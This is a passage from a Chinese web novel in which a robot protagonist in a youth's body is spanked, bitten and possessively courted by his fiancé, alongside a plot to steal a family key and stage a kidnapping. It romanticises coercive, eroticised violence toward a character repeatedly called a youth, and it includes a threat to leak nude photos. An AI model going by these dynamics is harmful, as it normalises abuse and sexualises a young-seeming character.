楚青琅头皮发麻。 他说:“先生,只是隔着衣服,真的!” 祁温声音泛凉,“是吗?” 戒尺猛地落下! 打碎了楚青琅准备点下的头,和即将出口的话。 羞耻感和异样的痛麻感使他猛地挣扎起来。 但是一直显得虚弱的男人却更加用力的抓紧了他的手腕,压制了他晃动和弓起的身体。 “我知道,没有人教导过你这些,没关系,我教你。” 轻飘飘的声音钻进耳道,带着刮骨般的寒意。 祁温垂眸,眼神暗沉。 “先生放开我!” 冰凉感褪去,是闷痛夹杂着灼热。 他躲避着,但是只能感受到男人腿部那顺滑的布料。 没有丝毫空隙。 “啪!” 祁温声音冷静。 “嘴/巴,胸/口,喉结不能让外人触碰。” 楚青琅踢蹬着,不回答,却不妨又被打了一下。 他只能开口: “记住,记住了。” 楚青琅僵住,异样的疼让他小口小口的喘气。 “被欺负了要找家长,知道吗?” “知道了!” 手伸到他的嘴边,皮革气味浓郁。 “咬下。” 皮革被他咬着边缘褪去,露出里面苍白骨感的手。 随即,疼痛的地方被轻轻揉了下,冰冷的手成了最好的安慰剂。 就在楚青琅缓缓放松后。 一阵刺痛又猛地传来。 后知后觉的“啪”声传入脑海,还有那愈发压抑冷漠的声音。 “后面和前面都不能被外人碰,知道吗?” 楚青琅眼眸蓄起泪珠,怒气和羞恼几乎冲破了他的理智。 他口不择言起来。 “你是我的谁啊?管我干什么?!让你管了吗?!!” 话音刚落下,清脆的响声就猛的响起。 肌肉不自觉的跳动着,仿佛被辣椒洒在了伤口上,又麻又痛,只一阵,很快消去。 但是楚青琅依然红了眼,怒道: “你个变态放开我!!” “你自己还给我发裸/照,我要把照片散出去,让你身败名裂!你个变态!!!” 坚硬的戒尺却毫不留情的再次打下,这次,甚至是连着的。 “唔——” 无法言说感觉使得皮肉紧绷起来。 祁温一如既往平静,“记住了吗?” 面前的小黄盯着他,伸出蛇信舔舐着他的面庞和眼泪,柔韧尖刺刮过面颊,竖瞳冰冷。 楚青琅咬牙,不甘的服软。 “记住了。” 祁温复又揉着他的腰,弓/身吹着他的红肿的地方。 “叫我的名字。” 冰凉空气拂过。 攥着他的手宛如钢铁造就,楚青琅竟然挣脱不出来。 他一直不回答,男人叹了一口气。 无奈又冷酷。 楚青琅脊背发冷,危机感爆棚。 “先别打!祁温!!” 他双手揪着祁温的衣摆,“我真的记住了,不会那样做了,放过我,先生。” 感受到风声袭来,他猛地曲身,向下窜了下。 恐惧下,他带着哭腔喊,“祁温!” 即将落下的戒尺停下。 楚青琅感觉到有用,他一叠声的叫他,潜力全部激发了出来。 “祁温,祁温,我知道错了。” 察觉到束缚的手腕微松,他劫后余生般连连保证。 “我碰见事情一定不瞒着了!我一定找你!还有绝对不会再叫人碰我了!” 祁温按着他的腿。 不似他那样冰冷,反而因为激动,带着灼热,触感细腻,微干的水将他的掌心黏住。 他说:“你是我的谁?” 楚青琅张了张嘴,咽喉发紧。 “我是,我是……” 冰冷的戒尺被男人塞进他的掌心,少年下意识的瑟/缩了一下。 男人放开手,将他捞起,苍白瘦削的面上浮现出温柔的笑,捧着他的脸轻哄。 “很乖,我们是一家人,是吗?” “呜——是。” 楚青琅看着那熟悉的,深邃的满是粘稠爱意的眼眸,心中突然生出委屈来。 他那么努力完成任务,想尽办法的隐忍,还总是失败! 都是因为这个男人! 他只是想找回自己的记忆而已,为什么老阻碍他?! 他都避开了和反派直接接触,这个人怎么还跟个鬼一样跟着他! 楚青琅抿着唇,玻璃珠似的眼眸涌出泪水,一滴滴的顺着面庞流下。 无声又可怜。 祁温搂住他的脊背,将人拥进怀中,凑近吻着他的面庞,眼眸,将眼泪全部吻干。 他喃喃,嗓音低哑,哄着他的爱人。 “别哭,乖乖。” “我在这里,我在这里,很痛吗?我帮你上药好不好?” 原本心脏仿佛被棉絮充满,湿哒哒的,让楚青琅完全不敢放松分毫,神经一直格外紧绷。 但是现在在这个人的怀中,他却仿佛找到了依靠一般,微微放松了自己。 现在的情况棘手极了。 这个白月光打也打不得,骂人楚青琅又不会,就算是会,照祁温着厚脸皮,估计也如清风拂面。 楚青琅第一次体会到左右为难。 不可言说的委屈全然化作泪水。 浇湿了男人肩膀。 “都怪你,都怪你呜” “我又不是故意的,你打那么狠做什么?!我后面一定要你还回来!!” “你给我等着!!” 红彤彤的眼眶盛着黑耀石般的眼眸,望过来,神情带着恼怒,仿佛被逼到极致的小狼崽子。 祁温轻吻他的发,手揉着他肩膀,特意避开了红肿的伤口。 摇晃孩子一般晃着楚青琅。 “好,我等着你,小乖。” 楚青琅哽咽,起身掐着男人的脖子,用力将人按在沙发靠背上。 “把那个破东西丢了,不然我真的会弄死你!” “好。” 祁温答应的轻易,脸因为窒息稍微泛/红。 冰凉的手指却依然安抚的拍着少年的脊背。 一下又一下。 …… 这种温柔很好的舒缓了楚青琅的神经。 身为机器人的他,竟然闭上了眼,沉入了黑暗。 察觉到他失去意识的瞬间。 祁温停下了所有动作,指尖因为头颅的疼痛抽搐着。 喉结滚动,但是不断涌出的血液却仍然顺着唇角留下。 他仰着头,眼中燃着几近于疯狂的冷焰。 又来篡改他的感情? 做梦! 他将少年搂紧,靠在沙发上,闭眼。 苍白的面庞泛青。 几如尸体。 …… 敲敲打打的声音传来,灯光照射眼眸,将他从黑暗中抓出。 楚青琅茫然的睁开眼,反应了一会儿。 才想起自己丢脸的在白月光的怀里失去了意识。 不是。 他不是机器人吗? 怎么突然睡着了?! 他下意识的想要起身,却发现自己控制不了身体。 头颅扭动,却只看见穿着黑白女佣装的林荔手中拿着扳手和刷毛在他的身侧,聚精会神的摆弄着什么。 神情不似之前那样温柔,变得严肃起来。 眼珠转动,只看见她的怀中抱着一只手。 看着像是人手。 这个角度 他的手? 他暴露了?! 像是感受到了他惊讶炽热的目光,林荔抬头瞧了过来。 她微笑着说:“小少爷别急,很快就好了,只是防水涂层有些掉了,然后里面进了些水,导致电路短路了,所以你才会失去意识。” 楚青琅震惊的望着她,一双眼包含千言万语。 林荔俏皮的挤了下眼睛,“少爷来的第一天家主就把我从维拉公司请过来了,非常担心您呢。我的技术很好,不会痛的噢~” “不过装作不知道而已,谁让少爷这么好玩,一脸认真的想着隐瞒,好可爱。” “哈哈哈哈哈。” 别笑了。 再笑他就强制退出。 他为了隐藏自己的身份让蛇来吃食物,还装作忧郁询问林荔 脑海中不自觉回放那些场景,让楚青琅尴尬的想要抱着脑袋尖叫。 等到稍微冷静下来。 他突然意识到。 林荔说家主请他过来的,这是不是说明祁温早就知道了。 噢。 他就说任务不可能这么轻易完成。 楚青琅微笑。 笑不出来 该死的祁温,竟然一直瞒着他! 还打他! 等他能动了,一定要他好看。 楚青琅正想着,林荔欢快的声音就响起来。 “好啦!” 一阵眩晕感传来,楚青琅下意识闭了闭眼。 林荔弯腰看着他,一双眼中闪亮亮的,“我的技术最好了,快起来看看怎么样。” 楚青琅僵硬着肢体从床上爬起来。 左右看了看。 此时他才发现,自己所在的地方依然是他的那间房。 伸出手,袖子已经被放下了。 就像是那件没有穿上的舞蹈服一样。 白色丝绸衬衣,花边领口旁用金线压着各种花纹,高腰长裤,同样带着金色的褡裢。 唯一不同的,是这件领子开的没有那么大。 不知什么时候他身上的破烂衣服被换了,看这装扮风格,绝对是祁温换的。 楚青琅稍微放下了心。 一睁眼就看见林荔在他的身旁,他还真怕是这个女孩子帮他换的。 这样他身上被弄出来的痕迹不就都被看见了 在林荔期待的目光中。 楚青琅歪了歪头,动了动四肢。 随着他的活动,原本僵硬的四肢就像是干涩的齿轮被倒上了润滑油。 感觉,格外的好。 楚青琅抬头,认真道:“谢谢你。” 随后,他又补充说:“你的技术真的很好。” 林荔噗嗤笑出了声。 夸张的动作丝毫没有先前在他面前的温软。 看着楚青琅迷茫的视线,林荔伸手拍了下他的头,然后将手中的工具放进包中,顺手扒拉了几下,递给了他一包牛奶,“好了,我的任务完成了,走啦。” 林荔朝他挥了下手,随后转身走出了房间。 楚青琅握着依然温热的牛奶发愣。 他不知道她为什么笑,也不知道她为什么要给他牛奶。 但是身体好了,仿佛连心情都好了很多。 那些堵塞淤积的情绪也消失的无影无踪。 楚青琅抿了抿唇,无声中,弯起眼笑了下。 * 不知道是不是先前的事情让白月光的病情又加重了。 在管家的描述中,昨天晚上家主又犯病了,这次持续的时间还格外的长。 直到清晨才堪堪清醒。 想来也是,祁温一个病秧子能控制他那么长的时间,还给他洗了澡换了衣服,一定很累。 楚青琅问过管家祁温在那里之后,径直朝着地下室走去。 他有点疑惑,祁温为什么不回自己的房间。 而且。 祁温有之前世界的记忆吗? 如果没有的话,祁温已经知道了他的身份,他这样装模做样也没有什么用处。 楚青琅抬手按着冰凉木板,却仿佛触摸到了男人身上的温度。 还不如直接问。 连着让他失败几次的罪魁祸首还在面前,就算祁温什么都不记得,他也一定会让他付出代价的。 楚青琅哼了一声。 如果祁温不说密钥在哪里,他就直接把他绑架。 威胁他! 第56章 第 56 章 牛奶。 “小乖, 你在外面站着干什么?” 就在楚青琅准备按下把手的时候,面前的门被突然打开。 祁温依然穿的整齐,只是面色更为苍白了些,唇没有丝毫血色。 但是当那双他再也无法忽视, 蕴满深情的眼眸准确落在身上时。 楚青琅心中所有的想法都尽数消散。 他只感觉自己湿哒哒的心脏, 被男人小心翼翼的捧起。 呵护着。 他克制着自已翘起的嘴角, 没有说话, 昂着头,气势汹汹的擦着男人身旁, 走了房间。 飞起的领子,像小鸟的翅膀一样。 祁温愣了下,神情忽地忐忑起来。 他将门关上,转身跟了上来。 楚青琅此时已经将林荔给他的牛奶放到了客厅的桌子上。 他重新坐到了床边。 被子被掀开,伸手触碰, 里面还有着温度。 楚青琅下意识的伸手朝着里面摸去,指尖触到了书,拿出来。 这本书里面分明是男女动作18/禁, 但是楚青琅却发现了翻阅的痕迹。 是祁温看的? 他看这个做什么? 楚青琅眯了眯眼, 他抬眼看了一下拉着圆凳坐在他面前的男人, 没有忽视他面上的忐忑,心中涌动的温热仿佛被冷意丝丝缠绕。 不过还好祁温没有阻止的行为。 他深呼吸了一口气, 认真的翻看了起来。 之前来到这里, 他只是匆匆的瞥了一眼就合上了,因此只注意到了那白花花的肉/体,还真的没有看她们的脸。 在大众的认知里面,男人应该是喜欢女人的。 而祁温如果没有记忆,那么谁能表明他不会喜欢女人?先前世界的他喜欢他, 并不代表现在的祁温也要喜欢他。 楚青琅垂眸,面上的笑意消失。 祁温仿佛察觉到不对,他将手按住了少年的膝盖,感受着那温热的触感因为他的温度变凉,他不由得怔了下,又缓缓收回了手。 楚青琅一页一页的翻过。 上面的女郎面容娇艳,身材丰满,各有各的风采。 灯光浇在书页上,泛出粼粼光芒。 少年寻找着,那轻微的凹痕。 就像是在那张报纸上,留在他的脸孔上的,脖颈和双眼的凹痕。 但是没有。 一道也没有。 明明这不代表着什么,但是楚青琅心中却忽地涌出烦躁的感觉,他直接翻过几页,动作粗暴。 随即,动作猛地停下。 祁温也仿佛于此时下定了决心,伸手握住了他的手腕。 “抱歉。” 楚青琅沉默低头看了一会儿,抬头问:“什么?” 祁温握上他的手,温柔抚平他的手指,揉搓着他的指尖。 却并没有敢和少年十指交握。 他太凉了。 祁温说:“是我不好,我昨天打你了,别生气了好不好?我让你打回来?” 楚青琅直接反手握住他的手,眉挑了起来。 “我昨天让你别打了,你为什么还打我?老实交代!” 祁温弯腰,吻了下他的手,唇也是冰凉的。 他说:“是我太生气了。” 楚青琅追问:“为什么生气?” 少年的声音清朗,祁温没有抬头,都能想象出来那双黑眸眼中的光彩。 是那么的纯澈。 他虔诚的用额头碰着少年的手,说:“我害怕他能够将你抢走,因为我——身体不好。还对你说那样的话。你有事情也不和我说,明明我才是你的订婚对象。以后只看着我,只依赖我好吗?” 祁温话语说的温柔诚恳,眼中的冷意和占有欲却几乎要溢出来。 想起少年两次看着他陷入回忆的目光,还有叫出的名字,他便明白。 少年有喜欢的人,在透过他看谁。 他是替身。 但是没关系,现在少年在他身边,他不会给别的人机会的,就算是拿他当替身也行,只要少年在他身边。 他只要青琅。 虽然这样安抚着跳动的神经。 祁温心中的嫉妒和杀意却依然如火山喷发,几乎将咽喉烘出血腥气。 凭什么?! 凭什么那个人能在青琅的心中留下这么深刻的痕迹? 凭什么他的爱意要被当作青琅想起那个人的引子? 祁温恨不得生啖其肉! 楚青琅看不见他的脸,发丝掉落在手腕上,带来一阵的瘙痒。 他不由得抽动了一下手,却被重重握住拖回。 两人的手放在书上,莹润和苍白的肌肤将下面的照片完全遮住。 ——他的照片。 楚青琅想起那明显是偷拍的照片,只觉得明白了祁温忐忑的神情,心中的烦躁消去。 他低下头,像小动物一般蹭了蹭男人的发顶。 慢吞吞道:“先生,你知道我的身份。” 机器人是不会爱人的,更不会依赖人。 指尖浮动的呼吸忽地停滞,男人抖了一下,却依然道:“我爱你就可以,青琅把我当家人,看着我爱你好不好?” 楚青琅没有回答,拨弄了一下手中的发丝,又问:“为什么?” 明明知道他的身份,却依然还是爱上他。 白月光爱的是他吗? 难道白月光像厉屿一样是重生的,喜欢的不过是原身? 当时才会对他的照片那样? 逻辑好像异常的通顺。 楚青琅歪了下头,眼珠透亮,带着冷硬质感。 不知为何,祁温的心脏一下子提了起来,心中对那个叫做厉屿的人的各种施虐手段被打断。 他看着少年,隐约间察觉到他的言外之意,神情格外冷冽严肃。 “不是别人,从来没有别人,只有你。” 看见照片时脑海中出现的是他,去看过同款的机器人是也并没有激起他的任何情绪。 只有那天在二楼望见少年时。 他就明白,他一直等待的,只有这个人。 楚青琅察觉到他的认真,想到厉屿的情况也属实特殊,更何况这次的任务有着天道亲自关注。 所以白月光要真的是重生的,在他见到祁温的第一面,剧情偏移就直接拉满了。 怎么还会一直到现在才变那么一点。 是他想多了。 楚青琅嗯了一声。 他说:“既然这样,那我原谅你了,但是死罪可免,活罪难逃!” 眼珠一转,他就想到了一个好主意。 他收回手,起身,将电脑打开。 播放起上面的影片起来。 楚青琅看着目光一直跟随着他的男人,勾唇笑了下,眉眼间满是不属于这个皮囊的张扬得意色彩。 电影音效响起。 情话和喘息起伏交错。 楚青琅说:“为了赎罪,这里面的人说一句话,你就跟着念一句!” 看着他,祁温又怎么不知道他的想法。 只要少年能够注视着他,要他做什么,都可以。 祁温缓缓将自己的扣子解开,深色西装微敞,露出里面苍白的肌肤,以及,清晰可见的肋骨。 淤积着浓烈感情的眼眸,盯着站在那里面色微红的少年。 祁温坐到了床上,一只手放到了裤腰上,苍白泛青的手将衬衣拉开,露出一截腰线,随即,那指尖缓缓深入。 他说:“青琅,看着我——” 楚青琅被叫的脊背一麻,他转身有些慌乱的关闭了游戏,咳嗽了两声。 “跟你开玩笑,闭嘴。” 祁温颇为遗憾的抽回手。 悉悉索索的声音再次传来,接着,楚青琅就感觉冰凉的躯体贴了上来。 祁温环住他的腰肢,将他完全塞进了怀中。 一只手将他的头扭过来。 男人拥着他,将他喉咙上已经浅淡的齿痕覆盖,直到重回鲜明。 楚青琅嘶了一声,一把将人推开。 “你想吸血吗!” 祁温舔舐了一下唇上吸出来的血,笑了下,“好甜。” 楚青琅哼了一声,不甘示弱的在男人的喉结上咬了下去。 在第一时间没有控制好力道,楚青琅很快的就品尝出了血腥味。 就在他连忙抬头的时候。 后颈却传来冰冷沉重的力道,男人深深的吸气呼气。 诱哄般的话语带着愉悦。 “用力。” 楚青琅下意识的将口中积蓄的鲜血咽下,又用了些力气。 坚硬的齿深深嵌入血肉。 男人仰头,眸光被雾气笼罩,神情欣悦又安宁。 他下颌磨蹭着少年柔软的发丝,手紧紧的搂着对比一个男人来说,过于单薄的少年。 直到一阵喘息传来,楚青琅骤然回神,他抬手猛地把男人推开。 看着男人踉跄站稳,他嘴边带着鲜血茫然道:“你疯了?为什么不阻止我?” 男人又走上来,将他唇边的鲜血抹去。 “小乖想要,不是吗?” 楚青琅拍下祁温的手,“谁想要了,我没有!我是过来跟你说正经事的,别带偏我!” 男人重新搂住他,喟叹道:“好,不带偏你。” 楚青琅深呼吸了一口气,努力严肃表情。 询问道:“既然你早就知道我的身份,那么你应该知道我越家的目的。” 祁温点了点头,坚硬的下颌硌的楚青琅肩窝有些痛。 他推了下男人的脑袋,重新叫回了那个称呼。 “先生,和我说说你的计划。” 少年声线拉长,刻意放柔,带着戏谑意味。 男人侧头吻了一下他的颈,同样笑着,面容的冷硬线条如冰雪融化。 他纵容道:“好。” * “所以你准备彻底放弃?” 楚青琅和祁温躺在床上,他手中抱着一个兔子玩偶,枕着一个长颈鹿的玩偶。 祁温确实是知道女人的设计,还知道他来祁家的目的。 但是,他实际上并没有什么计划。 对于祁温来说,只要楚青琅想要,一个密钥算什么? 楚青琅冷静道:“密钥是你们家的传家宝,只要被越家到手,那么他们就可以合理的吞并你们家的所有财产。” 祁温点着他的睫毛,一只手握着他的另一只手。 “所以想要吗?”他说:“这会让岳母很开心的。” 楚青琅看了他一眼。 看来祁温明白,对于机器人来说,最重要的人就是第一个激活自己的人。 只要他说一声想,祁温就会将密钥交给他。 楚青琅打开系统面板,上面显示着10%的剧情偏移度。 卡死,没有超过。 只要他控制的好,没准有着完成任务的可能。 只要任务完成了,他就能够知道他的过去。 只是,不知道男人还会不会存在。 楚青琅心中权衡着。 余光忽地被刺了一下。 苍白大手摊平在他的面前,里面赫然摆放着一把金色的钥匙,被灯光照射,反出尖锐光芒。 祁温冷冷淡淡的嗓音带着纵容,“这就是密钥。” 楚青琅颤了下眼睫,他说:“你从那里拿的?” 明明男人并没有出去找。 祁温拍了下他怀中的兔子玩偶,只见背面的有一个隐蔽的开口,拉链已经被拉开,露出了一面白色的棉花。 这么重要的东西,祁温一直放在这里? 楚青琅感觉思绪有些混乱。 坚硬冰凉的钥匙被男人放到他的手中。 祁温说:“给。” 楚青琅攥着那把钥匙,翻身压倒了男人,碎发垂落,黑眸深深。 “我如果真的把他交给女人,你就会什么都没有了,这座庄园,还有所有的钱权,你确定吗?” “你平常生病所需要的花费也不少吧?如果都没有了,没有人照顾,你会死的很快的。” 祁温安静的回望着他,抬手摸着他的侧脸。 “青琅是在担心我吗?” 楚青琅因为他这满不在乎的态度皱了下眉。 祁温又说:“没关系,就算什么都没有了,我也可以养活你。” 明明说的不是这个意思,楚青琅拍了他一下。 祁温按住他的手,将他放到了胸口。 皮肉肋骨中,心脏跳动的频率传递到掌心。 清晰,平稳。 “按照你内心的想法去做,不用顾及我。” 祁温神情漠然,带着对自己的残忍。 他说:“如果这是你的想法,我会按照你的指示去做,就算是要我死。” 只是他到时候,并不一定舍得死亡。 他的青琅,还真的是这么天真可爱。 祁温能够从自己的父母手中将祁家的权力掌控在自己的手中。 怎么可能会那么轻松的任由旁人夺取。 一个权势钱财到了极致的人,就算是一时走岔,也有无数的底牌和机会得以重来。 如果楚青琅真的选择了女人 他就有理由了。 祁温用温柔的视线描摹着少年,眼眸深处是极力隐藏的贪婪。 闻言,楚青琅抿唇,忍不住瞪了他一眼。 “谁让你去死了?” 祁温疑惑的回望。 胸口处的皮肉被少年的热度熏暖。 楚青琅说:“这件事情你不用管了,我会处理的。” 他翻身下去,坐到了床边。 用眼睛将手中的密钥拍了一张照片后,他点开手背上的皮肤,将其上传发给女人。 是他刚刚想差了。 密钥根本不重要,反正剧情中原身也没有找到密钥。 剧情点才重要。 取得密钥失败—女人使计绑架祁温—原主被主角攻弄死。 他只要顺着来就行。 现在他已经确认了祁温并没有前面两个世界的记忆。 祁温只是知道他的这个身份,并不知道他是任务者。 所以才会把真的密钥给他,推他走向死亡。 因此就算密钥到手,也不代表他真的要把密钥交给女人,他又不是真的对女人忠心耿耿的机器人。 他弄个假的不就行了。 因为是假的,所以女人并不能轻易的夺取祁家。 后面他再提出绑架祁温。 这样剧情不就又再次合上了! 真是的,都怪祁温,把他的思路都打乱了。 彻底想清楚后。 他回头,一眼就看见祁温正安静的看着他。 没有试图看他发的消息,也没有试图阻止他。 看着祁温这副样子,楚青琅忽地生气起来。 “你是不是早就不想活了?” 祁温眨了下眼,他伸手将少年拽进怀中,没有否认。 “之前是,现在不是了。” 他的身体这样,除了父母的原因,更多的,还是他自己造的。 疼痛也是很好的让他确定自己是否存在于世的证明。 尤其是在他察觉倒自己的感情会被未知存在篡改之后。 他就觉得这个世界不过是神明手下的一个玩具,而他们,都是玩偶。 当时他无所谓,可以随时被它篡改。 装作看不见越家的目的,装作看不见越珩的心思,装作看不见祁家的衰落。 但是现在不行。 他找到了他的救赎。 他的小乖,一定要得到这个世界上最好的一切。 如果,他想要的话。 * 两人就这样安静的躺着。 楚青琅扭头,看着男人不知何时已经进入了水面,手臂搭在被子上,指甲末端泛青。 他不由得摸了一下。 管家在门外敲门。 “家主,用餐时间到了。” 感觉祁温很累的样子,要不还是让他好好休息吧。 楚青琅收回手,下床,穿上鞋朝着门外走去。 他推开门,看着管家欣慰的目光,咳嗽了一声。 “先生他睡着了。” 就在管家转身准备走的时候。 楚青琅上前一步,拽了下他的衣摆含糊道:“他有点失血,如果他醒来饿了可以吃点补血的。” 管家看了他喉咙一眼,充满了明了了意味。 “好的,少夫人。” 楚青琅被这熟悉的称呼叫的一愣。 等他反应过来,管家已经离开了这里。 他正准备追上去纠正。 脑海中灵光一闪。 他先前是不是感受到了血腥味? 但是女人明明没有给他安装味觉啊? 而且他还咽下了祁温的血,他怎么没有感到难受? 楚青琅有些茫然的摸了摸咽喉和腹部。 腹部皮肉紧实,光靠摸是摸不到里面的消化道的。 他转身,看向了一旁水晶桌子上放着的牛奶。 此时牛奶已经不复温热。 楚青琅看了一会儿,撕开了口袋,低头吸了一口。 柔顺的液体滑进咽喉,甜甜的。 很香。 林荔是被雇佣来的,她有职业操守,所以不会故意增加雇主不需要的功能。 楚青琅叼着奶,走到了沉睡的男人面前。 歪头看了他一会儿。 所以是祁温提出的要求。 第57章 第 57 章 不够吗? 看了祁温一会儿后。 楚青琅将喝完的牛奶包装扔进垃圾桶, 将自己重新塞进了男人的怀中。 反正他是机器人,也不怕冷。 感受着那犹如冰块的体温渐渐被他捂热。 楚青琅举起手,让女人按照相片和发送给她的重量等信息,设计出来一个假的密钥。 他好以假乱真, 免得被祁温发现什么不对。 女人很快就答应了下来。 楚青琅点开信件, 看着女人发过来的消息, 弯起了眼。 只需要一天, 到时候她会让越珩带给他假的密钥。 自从越珩被赶出去之后,他无法在庄园里面过夜的, 因此他可以顺理成章的穿梭在两边。 所以这种东西由越珩带过来,最为稳妥。 而只要女人得到了东西,那么他的计划也就可以开始了。 楚青琅心满意足的闭上眼,同样开始假寐起来。 虽然他无法睡觉,但是一直转动的脑袋还是可以趁机休息一会儿, 尤其是在没了任务的压力后。 算是一种待机状态。 * 第二天,等楚青琅从待机状态中清醒过来的时候。 一眼就看见了坐在沙发上的男人。 祁温的面色带着轻微的血色,不似以往那样苍白的吓人。 看来他休息的不错。 楚青琅刚坐起身, 祁温就走过来拨开他的发, 在他的额头上吻了一下。 “早上好。” 就在楚青琅犹疑自己要不要回一个的时候, 他已经拿过一旁的衣服作势要为他换衣服。 楚青琅看过去,发现这套衣服虽然比不上昨天那么繁复, 但是也同样是异常精美的。 他一言难尽的看了眼男人, 按住了他的手。 “你是把我当什么芭比玩具了吗?” 每天都要给他换一套衣服。 虽然他现在无论是吃的住的,都是男人提供的。 话说,这样的话,他这是不是在吃软饭? 楚青琅脑袋乱乱的。 感受着手上的温度,祁温餍足的眯了下眼, 慢条斯理道:“小乖不喜欢吗?那我换一套?” 说完,他还可惜的看着手中的衣服。 楚青琅收回思绪,抿了抿唇,站起身,将衣服接了过来。 “看在你为我按上了味觉的地方上,我自己换。” 他伸手将祁温翻了个面,说:“不准看我。” 祁温说:“好。” 楚青琅哼了一声,还是将衣服一件一件的穿了上去。 白色衬衣,肩膀和手臂上挂了浅色的珠宝做成的流苏,腰封是银线压花,还有一条同色的长裤。 穿完后,楚青琅有些不适的扯了扯领子。 这件衣服是立领,完美包裹了他的咽喉顶着下巴,最顶上带着一圈精美的蕾丝,为他带来几分痒意。 但是还可以忍受。 楚青琅咳嗽了一声,“好了。” 祁温转过身,看了一眼后,突然上前一步拥住了他。 楚青琅疑惑的眨了下眼。 祁温道:“有点后悔。” 怎么能这么好看。 楚青琅听懂了,他挑了下眉,伸手将人推开,昂着头说:“是你自己选的哦。” 祁温伸手捧住他的脸,凑上去亲了下他的唇。 “没关系,是我的。” * 楚青琅自从来到这个世界后,第一次真真实实的在桌子上吃了一顿早饭。 感受到饭菜的香味,和水果的清甜。 他感觉自己对祁温的好感度又被拔高了一截。 只是可惜的是,祁温的身体又不舒服了,所以去了高塔,无法陪伴他吃饭。 楚青琅咽下口中的桃子,看着在他面前放下红茶的管家问道:“怎么没看见哥哥?” 管家收回托盘,微笑回答:“越少爷昨天回来了一趟,换了身衣服后就开车回家了,今天一大早打过来电话说有些事情,今天就不过来了。” 犹豫了一下,管家又补充道:“他说越夫人很关心您,等再次过来后,会带来别的酒庄的资料和一些礼物,让您不用担心,也不用回电。” 他担心什么? 估计女人已经开始着手制作假密钥了。 所以才拦下了越珩。 楚青琅向他点头,轻抿了一口红茶,接着说:“好的,那老师们来了吗?” 在绑架祁温之前,他还是要按照以往的行动轨迹来。 到最后,吓死他。 想到祁温一直格外冷静淡定的模样,莫名的,楚青琅感觉牙齿痒痒的。 管家说:“已经到了,正在批改您昨天完成的作业。” 楚青琅点了点头,去洗了下手,就去‘上课’了。 意外的,他竟然看见了本应该在越家的越珩正坐在他的位置上,一旁的老师们面面相觑,带着手足无措的慌乱感。 越珩不仅占了他的位置,还随手翻阅着他的作业。 仿佛察觉到了他的视线,越珩抬眼,英俊面孔上露出一抹笑,冷而戏谑。 “青琅来了啊。” 楚青琅先礼貌示意老师们出去,随后面无表情的朝他点头回应。 虽然不知道越珩为什么过来,但是绝对不可能是因为女人的吩咐。 很大的可能是因为他察觉到了女人已经准备对祁家动手了,所以才跑过来的。 只能说,不愧是主角攻,未来手段酷厉心机深沉的越家主。 哪怕现在仍未完全成长起来,也依然保有着他那份天生的敏锐。 楚青琅伸手要拿起自己的作业,但是那作业却被一只手按住。 骨节分明的大手按住平板的尾端,硬生生的将其压了下去。 随后拿起一旁的笔,在被圈起的错题上随手写下了答案过程。 笔迹凌厉,线条肆意不羁。 在模拟出的“飒飒”声中,越珩开口,声音带着凉意:“你看,你连这么简单的题目都会写错,又怎么觉得自己接下来的行为不会走错呢?凭借自己夺取祁家,痴心妄想。” 越珩抬起头,眉骨压下的眼幽深,说完后又勾起唇,仿佛劝慰。 “她不代表着什么,哪怕是她给了你身份,不要害怕,你还有哥哥,只要放弃当这个内奸,哥哥会保护好你的。” 炽热的手摸向他,楚青琅却向后退了一步,恰好避开。 他说:“是她将我从孤儿院中带出,是她给了我第二次生命,我当然会永远爱她,敬她。” 越珩不知道他机器人的身份,只以为他是因为所谓的“缺爱”,才对女人忠诚。 看来就算是主角攻,在面对信息差的时候,也会得出错误的结论。 也许这就是他在剧情中输给了女人,他自己的母亲的原因。 她太了解他了。 楚青琅精致的脸浑然天成的带着无辜的感觉,他看着面色变得凝重的越珩,同他一样勾起了唇。 既然越珩这样认为,他就演给他看好了。 楚青琅说:“哥哥,妈妈说会让你带给我礼物的,你怎么能偷偷跑过来呢?妈妈是把你要送给我的合照收走了吗?所以你才过来的?” 他又说:“找我诉苦吗?” 如果那些照片还在越珩的手中,他没有必要直接赶过来,好声好气的劝他,估计会直接拿出照片来威胁他。 越珩定定的瞧着他,脖颈青筋跳动了几下,但是难得的,他竟然忍了下来,并没有再次发脾气。 他站起身,按住楚青琅的后颈,凑近一字一句道:“你最好别这样做,你不会以为就凭借你的美人计,祁哥就会那么轻易上当吧?如果是假的,你们要如何?” 可惜的是,祁温就是这么容易上当,而且给他的,还真是真的密钥。 但是这些,越珩没有必要知道。 楚青琅也懒得和他解释,直接拿出手机,拨打了女人的电话。 对面接通的很快,于是看着那深邃的双眼,楚青琅将越珩的话口齿清晰的重复了一遍。 最后,他还补充了两句。 ——“妈妈,我们要怎么办呢?” ——“不如将祁温绑架吧?正好给你们争取时间。” 不光女人那边卡壳了,就连越珩看着他的表情都带上了惊讶,仿佛在看一个疯子一样。 越珩伸手想要将电话挂断,楚青琅躲开,越珩干脆放弃,攥着他的手腕将他又拉近了一点。 他咬牙怒道:“你有毛病吗?他是祁温!那个你喜欢着的人!” 这一拽,楚青琅的腰腹正好抵住坚硬的桌子,闷痛传来,他不由得皱了下眉。 看着他不说话,越珩的声音又大了一些。 “他还是你的订婚对象,你怎么能这么做?!” 楚青琅伸手,将他握住他的手腕掰开,揉了揉,冷冷道:“还是要多亏了哥哥的提醒,如果那个东西真的是假的,那么祁家的掌权人失踪,也是可以掀起人心动荡,这样子,妈妈的想法就会更快的实现。” 他抬眼,看着越珩说:“哥哥,我会为妈妈实现她所有的愿望。” 阳光穿透玻璃,将少年的周围打上光晕,肩膀上的流苏仿佛翅膀一样轻轻摇晃,衬得少年宛如天使一般。 但是那平静神情和望来的狂热又纯澈的眼眸,却犹如一把凿子,硬生生的刺进越珩的眼中。 在这一瞬间,他简直要对女人的手段感到悚然。 她将一个活生生的人。 变成了一把冰冷的工具。 越珩下颌绷紧,他眼角抽搐了一下,咬牙道:“绑架,然后呢?杀了他吗?” 楚青琅轻笑,对着那边询问道:“妈妈,您想要什么结果呢?” 女人温柔的声音传来,楚青琅几乎能够嗅见那甜蜜的香气。 可惜的是,她并没有回答他的问题。 “小珩,你该回来了,别一直像个孩子一样。” 但是她也没有拒绝。 通话挂断的嘟嘟声传来。 越珩伸出手,拨弄着楚青琅的领子,在看见那异常新鲜的咬痕后,他冷笑了一声。 “骗子。我会把一切告诉给祁哥的!” 楚青琅喉结动了下,随后被炽热指尖按住,他却只是说:“哥哥,你可能没有机会了。” 话音落下,一阵轻微的敲门声响起。 管家在外面道:“越少爷,来接您的车子到了。” 楚青琅接着补充。 